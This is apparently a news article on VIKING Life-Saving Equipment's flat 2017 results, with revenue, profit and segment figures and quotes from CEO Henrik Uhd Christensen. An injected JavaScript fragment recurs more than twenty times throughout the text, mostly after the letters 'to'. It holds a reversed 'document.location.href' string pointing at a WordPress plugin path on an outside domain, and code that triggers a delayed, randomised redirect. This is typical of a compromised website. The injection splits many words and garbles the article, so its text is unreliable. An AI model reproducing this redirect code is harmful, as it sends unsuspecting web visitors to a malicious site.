For the second consecutive year, revenue and earnings remained stagnant for 2017 at VIKING Life-Saving Equipment.
Two of the largest custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomer segments, the cargo ship market and offshore industry, remain in turmoil and continue toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to impact the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top and bottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom lines, however the company said signs of a slight improvement in the economy were encouraging, as well as VIKING’s gain in market share.
“We find ourselves in a market with extremely complex demands that vary significantly between segments – a market driven by a multitude of factoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors, including technology, growth in the global economy, trade policy, geopolitical stability, among others. Overall, however, I believe we will benefit in the coming period from growth in the global economy. The backlog of deferred investments in many sectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors will also be toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Viking’s advantage over the next few years,” said CEO Henrik Uhd Christensen.
VIKING achieved revenue of DKK 1.834 billion in 2017, compared toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to DKK 1.858 billion in the previous year. Profit before tax amounted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to DKK 174.3 million, compared toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to DKK 183.5 million in 2016.
Underlying developments reveal shifts between the individual areas of business, with declining sales toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the newbuild and offshore markets, while the agreement market – multi-year service agreements with shipowners and owners of offshore installations – continues toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to meet the high expectations, surpassing revenue of DKK 1 billion for the first time in 2017. Meanwhile, the important market for passenger ships also continues toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to show strong growth.
“The consequences of the financial crisis nearly 10 years ago have been more prolonged than we expected. But the maritime market as a whole is improving, and the custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomer group that will drive the market in the coming years – the ship owners – are eyeing brighter times ahead. This will have short term impacts on operations, in the form of reactivation of existing fleets, followed by increased newbuild activity. But as with offshore, growth in newbuilds is expected toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be low, and the population of ships already in operation will be our primary focus,” said Mr Christensen.
VIKING operates in three main segments – shipping, passenger and offshore – and a number of smaller segments, many of which are growing.
“One example is our sales of fire suits, where we’ve developed innovative solutions adapted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the functional and design needs of the individual countries and achieved growth for a several years running. We’re also seeing growth in leisure yachts, driven by the general upswing in the global economy. Our sales toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to defence custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers in a number of countries are impacted by the geopolitical uncertainty that abounds in many parts of the world. So, we’re seeing a growing demand in the Defense segment because of the serious state of affairs,” said Mr Christensen.
In recent years, VIKING has made significant investments in market development, establishing a presence in new markets, particularly in Asia. This development continued in 2017 with the company establishing operations in Malaysia. The global network is a growth engine for VIKING, comprising 36 foreign subsidiaries with 72 locations and 261 authorised servicing stations.
A number of important key figures have improved or remained at a high level. This includes EBITDA margin, cash flow and solvency ratio, which in combination with the dividend policy has reached a record level of 62.4%. VIKING is thus financially equipped toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pursue the anticipated growth within the maritime industry in the coming years.
VIKING’s equity at the end of 2017 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totalled DKK 971 million.